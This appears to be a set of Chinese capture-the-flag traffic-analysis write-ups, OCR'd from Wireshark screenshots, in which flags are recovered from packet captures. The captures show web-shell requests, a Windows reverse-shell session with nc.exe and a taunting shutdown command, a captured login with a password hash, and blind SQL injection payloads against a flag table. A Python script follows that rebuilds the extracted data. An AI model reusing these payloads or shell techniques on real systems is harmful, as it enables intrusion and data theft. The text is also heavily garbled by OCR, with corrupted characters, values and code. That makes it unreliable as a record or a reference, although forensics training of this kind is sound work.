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[ ‘hﬂp m '] + basic basci+ basictDNS  CNameString  certificate
No. Time Source address Source port | Destination Destination port Protocol | Length | Info
27 2017-09-12 12:14:16 192.168.228.1 52711 192.168.228.1.. 80 HTTP 430 GET /shell.php HTTP/1.1
29 2017-09-12 12:14:16 192.168.228.135 80 192.168.228.1 52711 HTTP 257 HTTP/1.1 200 0K
34 2017-09-12 12:14:17 192.168.228.1 52711 192.168.228.1.. 80 HTTP 430 GET /shell.php HTTP/1.1
36 2017-09-12 12:14:17 192.168.228.135 80 192.168.228.1 52711 HTTP 256 HTTP/1.1 200 0K
90 2017-09-12 12:14:31 192.168.228.1 52713 192.168.228.1.. 80 HTTP 841/she11.php HTTP/1.1 (application/x-www-for
93 2017-09-12 12:14:31 192.168.228.135 80 192.168.228.1 52713 HTTP 301 _HTTP/1.1 200 OK (text/html)
103 2017-09-12 12:14:33 192.168.228.1 52713 192.168.228.1.. 80 HTTP 847shell.php HTTP/1.1 (application/x-www—for
105 2017-09-12 12:14:33 192.168.228.135 80 192.168.228.1 52713 HTTP 251 _HITP/1.1 200 OK (text/html)
110 2017-09-12 12:14:34 192.168.228.1 52713 192.168.228.1.. 80 HTTP 83/she11.php HTTP/1.1 (application/x-www-for
112 2017-09-12 12:14:34 192.168.228.135 80 192.168.228.1 52713 HTTP 239 HTTP/1.1 200 0K (text/html)
127 2017-09-12 12:14:43 192.168.228.1 52716 192.168.228.1.. 80 HTTP 513 GET / HTTP/1.1
132 2017-09-12 12:14:43 192.168.228.135 80 192.168.228.1 52716 HTTP 659 HTTP/1.1 200 0K (text/html)
133 2017-09-12 12:14:43 192.168.228.1 52716 192.168.228.1.. 80 HTTP 472 GET /icons/ubuntu-logo.png HTTP/1.1
135 2017-09-12 12:14:43 192.168.228.135 80 192.168.228.1 52716 HTTP 234 HTTP/1.1 304 Not Modified

X@Yflag{This_is_a_f10g}

[S]

/var/www/html

[E]

X@QYPOST /shell.php HTTP/1.1

X-Forwarded-For: 44.146.238.198

Referer: http://192.168.228.135/

Content-Type: application/x-www—form-urlencoded

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http
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‘tcp '] + basic basci+ basictDNS  CNameString  certificate
Source address Source port | Destination Destination port Protocol | Length | Info

143142 1YZ.105.110. 138 4444 1Y/, 108,110, L. 1040 1LP OV 4444 - 1040 LALK] >eq—uwztsz ACK=/450Y W1N=b42490 LEN=¢
:45:22 192.168.116.159 1040 192.168.116.1.. 4444 TLSv1 256 Application Data ation Data
:45:22 192.168.116.138 4444 192.168.116.1.. 1040 TCP 60 4444 - 1040 | [ACK] Seq—127282 Ack=24771 Win=64240 Len=0
145:26 192.168.116.138 35880 192.168.116.1.. 1234 TCP 74 35880 - 1234 [SYN] Seq=0| Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=16¢
145:26 192.168.116.159 1234 192.168.116.1.. 35880 TCP 78 1234 - 3588¢ [SYN, ACK] pFeq=0 Ack=1 Win=64240 Len=0 MSS=1460 WS=1 TSval
145:26 192.168.116.138 35880 192.168.116.1.. 1234 TCP 66 35880 - 1234 [ACK] Seq=1| Ack=1 Win=29696 Len=0 TSval=1661501 TSecr=0

:45:26 192.168.116.159 1234 192.168.116.1.. 35880 TCP 154 1234 - 3588 [PSH, ACK] 5eq=1 Ack=1 Win=64240 Len=88 TSval=30042TSecr]

TCPIRIEH Ry 1T #RAE

' Microsoft Windows XP [Version 5.1.260@ﬂ
(C) Copyright 1985-2001 Microsoft Corp.

C:\>1s

1s

'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\>dir
dir

Volume in drive C has no label.
Volume Serial Number is B@3C-791A
Directory of C:\

AUTOEXEC.BAT
CONFIG.SYS

04/14/2016 08:50 PM
04/14/2016 08:50 PM

e

04/14/2016 08:52 PM <DIR> Documents and Settings
03/12/2012 10:24 PM 61,454 nc.exe
04/14/2016 08:54 PM <DIR> Program Files
04/14/2016 ©09:22 PM 36 s4cr4t.txt
04/14/2016 ©08:59 PM <DIR> WINDOWS

4 File(s) 61,490 bytes

3 Dir(s) 17,719,083,008 bytes free

C:\>type sd4cr4t.txt

type sdcr4t. txt
QONURNtkb195b3VfbGlrZV9zbmlmZmVyfQ==
C:\>shutdown -r -t 100 -m "Stupid Manager!"
shutdown -r -t 100 -m "Stupid Manager!"

QONURNtkb195b3VfbGIrZV9zbmimZmVyfQ==
fi#f%. CCTF{do_you_like_sniffer}
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https://pan.baidu.com/s/17y_Zf2vLtkHEaTbH-Ngfdg

a4 = O
[i ‘ obex '] + basic basci+ basic+DNS ~ CNameString certificate
No. Time Source address Destination Protocol | Length ' Info

19389 2016-09-28 14:01:19 localhost () remote () 0BEX 20 Sent Connect

19393 2016-09-28 14:01:19 remote () localhost () 0BEX 26 Rcvd Success

localhost

— 19401 2016-09-28 14:01:21 remote ()
19402 2016-09-28 14:01:21 localhost
19404 2016-09-28 14:01:21 remote ()
19421 2016-09-28 14:01:28 localhost
19423 2016-09-28 14:01:28 remote ()
38018 2016-09-28 14:03:19 localhost
38042 2016-09-28 14:03:19 remote ()
38046 2016-09-28 14:03:19 localhost
38048 2016-09-28 14:03:19 localhost
38050 2016-09-28 14:03:19 localhost
38054 2016-09-28 14:03:19 localhost
38061 2016-09-28 14:03:19 localhost
38066 2016-09-28 14:03:19 localhost
38069 2016-09-28 14:03:19 localhost
38075 2016-09-28 14:03:19 localhost
38080 2016-09-28 14:03:19 localhost
38084 2016-09-28 14:03:19 localhost
38118 2016-09-28 14:03:19 localhost
38127 2016-09-28 14:03:19 localhost
38130 2016-09-28 14:03:19 localhost
38945 2016-09-28 14:03:20 remote ()
38946 2016-09-28 14:03:20 localhost
38968 2016-09-28 14:03:20 remote ()
42015 2016-09-28 14:03:28 localhost
42080 2016-09-28 14:03:28 remote ()

ZRFHSHAF TR, T

()
()
()
()
()
()
()
()
()
()
()
()
()

remote ()
localhost ()
remote ()
localhost ()
remote ()
localhost ()
remote ()
localhost ()
remote ()
remote ()
remote ()
remote ()
remote ()
remote ()
remote ()
remote ()
remote ()
remote ()
remote ()
remote ()
remote ()
localhost ()
remote ()
localhost ()
remote ()
localhost ()

0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX
0BEX

Sent Put continue "secret.rar"

25 Rcvd Success

21 Sent Disconnect

22 Rcvd Success

20 Sent Connect

26 Rcvd Success

184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
184 Sent OBEX fragment
736 i = ipg"
22 Rcvd Continue

19 (Sent_Put_final ]
25 Rcvd Success

21 Sent Disconnect

22 Rcvd Success




OBEX Protocol
[Profile: Unknown (0)]
[Current Path: /]
.000 0010 = Opcode: Put (0x02)
@... .... = Final Flag: False
Packet Length: 656
[Response in Frame: 19401]
Headers
Connection Id: 1
Name: "secret.rar"
Header Id: Name (@x01)
Length: 25
Name: secret.rar
Length: 615
Header Id: Length (@xc3)
Length: 615
Body
Header Id: Body (0x48)
Length: 618

Value: 526172211a0700cf907300000d0000000000000015ae7400902d00110200001702000002...

0030 00 02 67 48 02 6a 52 61 72 21 1la @7 00 cf 90 73 c+gH-jRa rte«--- S
0040 00 00 Od 00 00 90 00 00 00 00 15 ae 74 00 90 2d - SCCRE R
0050 00 02 00 00 1f 02 20 00 02 03 2f 7c 6T d4 be el soof||@e s
0060 36 49 14 30 08 00 20 00 00 00 66 6C 61 67 2¢ 67 6I-0-- - --flag.g
0070 69 66 00 bd 34 4b 19 47 49 46 38 39 61 b2 00 3f if::4K:G IF89a::?
P080 00 80 00 00 00 00 00 ff ff ff 21 f9 04 @0 00 @@ - ------- -- [N
0090 00 00 2c 00 00 00 00 b2 00 3f 00 @0 02 ff 8c 8f ce e B O
P0a@ a9 cb ed O0f a3 9¢c b4 da 8b b3 de bc fb Of 86 €2  «:::virr waaaaan
PObd 48 96 e6 89 a6 ea ca b6 ee 0b c7 f2 4c d7 f6 8d H------- DR RO
P0c@ e7 fa ce f7 fe 0f @c Ba 87 c4 a2 fl 88 4c 2a 97  «+++vvve aannn L+
P0do cc a6 f3 09 88 4a of 80 87 f4 fa 74 5e b1 81 a8 ::::: N EEENE Sati
P0e® a2 da dd 4e @d dc ec 10 cc 40 93 cl ea 85 57 d2 ceo*N:v-: -@-::W:
POf@ 36 c7 e2 8B 36 9a 5e a7 e@ e5 9 f8 96 ea a0 f6 66" <ecc.n
0100 d6 65 a5 07 43 b7 67 b3 27 18 78 97 17 68 f8 82 e :C:g* ":x++h-:

9110 f8 b3 f8 dB c@ c6 @8 39 91 68 32 €9 53 09 a8 69  ------- 9 -h2-S--i
0120 57 b8 79 eB 46 79 69 99 16 96 cO 09 aa @a @b c1 W-y:-Fyi: «-:-::--
0130 f9 75 fa 99 1a 7a 39 88 bb ca 1b 4b 56 31 db 5a ‘u:++29: :-:KV1-Z
0140 db f3 4a 68 e5 47 3a bc 9b 56 96 db 2c 4c db c7 sollp=Bge oWeslloo
9150 81 dc 1b 26 06 8d ed e6 27 e6 75 fd bb b6 f9 57 sosfyeooe Topge ool
0160 bd ac 11 9c 4c 8e Qe eb a9 dd 98 ed f8 9d 1c bc coculbuve souuuuu

0170 3e 4d 9f dd 9a 38 1la cd 7e ab fa 6e 1c 1f 41 17 >M:::8-: ~-:n--A-:
9180 bc @d 63 a8 88 e3 86 70 cd 33 7c f6 06 ea 53 36 RIGEEEEI N ERR5 6
2190 do@ 9f bc 74 f7 b8 e4 @b c¢5 4d al b7 8c f6 83 10 et Meeenen
0120 be c9 e4 cb el bc 2f ¢5 22 e2 92 e8 90 19 46 7b  :::: fr M F{
01b@ 6c 1a 52 03 77 f1 e5 3f 8a 17 43 d2 7c 28 51 5¢  1:R:w--? --C-|(Q\
01co0 34 6f ca 5a aa 13 f9 30 62 95 98 38 ef f1 4b 39 40:Z:--:0 b-:8-:K9
01do 13 62 2c 90 23 7d 15 f3 b9 Oc 6a 4a 99 dd bo 51 ‘b, #}-+ ++j3:-:Q
Ple@ ad c3 do e9 39 97 96 %9a a2 7b @a f4 51 cd a9 58 QR EECRE (1 DD ¢

Bytes 54-668: Value (obex.header.value.byte_sequence)
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‘ d5ba8f87969145059170a222f01e7883.pcap
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Wireshark - Conversations - d5ba8f87969145059170a222f01e7883.pcap

Ethernet - 1 | 1Pva -1 | 1Pve @REEE UDP

Address A ~ PortA Address B Port B Packets Bytes Packets A > B Bytes A > B Packets B > A Bytes B > A F
172.31.98.199 46046 192.155.81.86 7890 82 5466 42 2818 40 2648

follow stream



FLAG:385b87afc8671dee®07550290d16a8071

FLAG:385b87afc8671dee07550290d16a8071

5. R it wiresharkyl 2 & 7 & fE M b — B ERS (BHERKELHRER). flagRse X Aflag{XXXX}

wireshark-1 - R EWriteupHadminf2 fi
g —

AR FR:

R = ireshark3 I EI2 &

AER: X

TEME: M

@ M dianli_jbctf_MISC_T10075_20150707_wireshark.pcap
Am 1@ mMNRREO Qe=s=EF &[] = @ @ § IF
[ (http.request or ssl.handshaketype == 1) and !(udp.port eq 1900) [X] v] + basic basci+ basic+DN; CNameString  certificate
No. Time Source address Source port | Destination Destination port Protocol | Length |Info
10 2015-06-29 15:10:22 192.168.1.102 22493 115.239.211.92 80 HTTP 644 OPTIONS /v.gif?pid=307&typ=3075&1=47365&t=0&s
+ 20 2015-06-29 15:10:22 192.168.1.102 22494 115.231.236.1. 80 HTTP 863 POST /user.php?action=1 &do=1ogin HTTP/1.1
! 33 2015-06-29 15:10:22 192.168.1.102 22495 220.181.57.241 80 HTTP 1094 GET /hm.gif?cc=1&ck=1&c13#4-bit&ds=1366x768&ep
48 2015-06-29 15:10:25 192.168.1.102 22494 115.231.236.1.. 80 HTTP 676 GET /user.php?action=login&email=flag HTTP/1.1
64 2015-06-29 15:10:25 192.168.1.102 22494 115.231.236.1.. 80 HTTP 690 GET /captcha.php HTTP/1.1
! 83 2015-06-29 15:10:25 192.168.1.102 22497 220.181.164.39 80 HTTP 938 GET /h.js?c12f88b5clcd041a732dea597a5ec94c HTT
| 107 2015-06-29 15:10:25 192.168.1.102 22502 180.149.134.2. 80 HTTP 633 GET /b.gif?uid=&refer=www.wooyun.org&url=http%
| 108 2015-06-29 15:10:25 192.168.1.102 22495 220.181.57.241 80 HTTP 1163 GET /hm.gif?cc=1&ck=1&c1=24-bit&ds=1366x768&ep
I 122 2015-06-29 15:10:25 192.168.1.102 22504 220.181.57.241 80 HTTP 1045 GET /hm.gif?cc=1&ck=1&c1=24-bit&ds=1366x768&et
I 133 2015-06-29 15:10:26 192.168.1.102 22495 220.181.57.241 80 HTTP 1243 GET /hm.gif?cc=1&ck=1&c1=24-bit&ds=1366x768&ep==%
Source Address: 192.168.1.102
Destination Address: 115.231.236.116
Transmission Control Protocol, Src Port: 22494, Dst Port: 80, Seq: 810, Ack: 1550, Len: 622
Source Port: 22494
Destination Port: 80

POST /user.php?action=login&do=1login HTTP/1.1

Host: www.wooyun.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%*;q=0.8

Accept-Language: zh-CN,zh;0=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.wooyun.org/user.php?action=1ogin

Cookie: _ cfduid=d473db479254a41d53bd@aae31cb7dc3b1433775400; Hm_lvt_c12f88b5clcd@41la732dea597a5ec94c=1434891316,143528:
bdshare_firstime=1433775454650; wy_uid=-1; PHPSESSID=h8il@mi6rdc819coc7080tq661; Hm_1lpvt_cl1l2f88b5clcd04la732dea597a5ec9:
Connection: keep-alive

Content-Type: application/x—www—form-urlencoded

Content-Length: 65

email=flag&password=ffb7567ald4f4abdffdb54e022f8facd&captcha=BYUGHTTP/1.1 200 OK
Date: Mon, 29 Jun 2015 15:09:10 GMT

flag{ffb7567a1d4f4abdffdb54e022f8facd}
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M 22fc3d84e8434aed89cbcObbd95a07b4.pcapng
AN IO M RLE R «=2EF ] = a & IF

@® @ Wireshark - Conversations - 22fc3d84e8434aed89chcO0bbd95a07b4.pcapng

Ethernet - 15 | IPv4 - 15 | IPv6 - 3 (R[E: I/ UDP - 145

Address A ~ PortA Address B Port B Packets Bytes Packets A > B Bytes A > B Packets B > A Bytes B > A
192.168.130.1 61743 192.168.130.130 22 504 46k 299 25k 205 20k
192.168.130.1 61745 192.168.130.130 22 172 14k 86 9116 86 5160
192.168.130.1 61957 192.168.130.130 22 172 14k 86 9116 86 5160
192.168.130.1 62175 192.168.130.130 22 539 195k 324 154k 215 41Kk
192.168.130.1 62234 192.168.130.130 [ 502 6,085 387k 4,050 243k 2,035 143&]
192.168.130.1 62697 192.168.130.130 502 8 583 5 294 3 289
192.168.130.1 62705 192.168.130.130 502 8 583 5 294 3 289

bR, BRERU, KIL

-~ L000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000000000 @o0000000000000000000000

B A, 83Isctf{Easy_Mdbus}, KILRIZ AN, FH4 A8 HIRKZ sctf{Easy_Modbus}E 7] .
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IR E T getiffy

@ M 4d7¢14206a5c4b74a0af595992bbf439.pcapng
Ams© Bl RE R &= — @ 6 @ =
[ (http.request or ssl.handshaketype == 1) and !(udp.port eq 1900) X] vJ + basic basci+ basic+tDNS  CNameString  certific
estination port Protocol | Lengt ~ | Info Host
1 /71d=1"'%20and%20ascii i pibgil o localhost:81
81 HTTP 286 GET /?7id=1'%2@and%20ascii(substring((select%20keyid%20from%s20flag%201imit%200,1),1,1))=33%23 HTTP/1.1 localhost:81
81 HTTP 286 GET /?id=1'%20and%20@ascii(substring((select%20keyid%s20from%20flag%201imit%200,1),1,1))=34%23 HTTP/1.1 localhost:81
81 HTTP 286 GET /?7id=1'%2@and%20ascii(substring((select%20keyid%20from%s20flag%201imit%200,1),1,1))=35%23 HTTP/1.1 localhost:81

substring R BUR BV ERF B A e E, S %H

import re

with open("/Users/yueting/ T#k/4d7c14206a5c4b74a0af595992bbf439.pcapng”, "rb") as f:
contents = f.read()
res = re.compile(r'e,1\), (\d+),1\)\)=(\d+)%23"').findall(str(contents))

dic = {}
#E aXt RLb B KB

for a, b in res:
if a in dic:
if int(b) > dic[a]:
dic[a] = int(b)
else:
dic[a] = int(b)
flag = ""
for i in range(1,39):
flag += chr(dic[str(i)])
print(flag)

flag{c2bbf9cecdaf656cf524d014c5bf046¢c}
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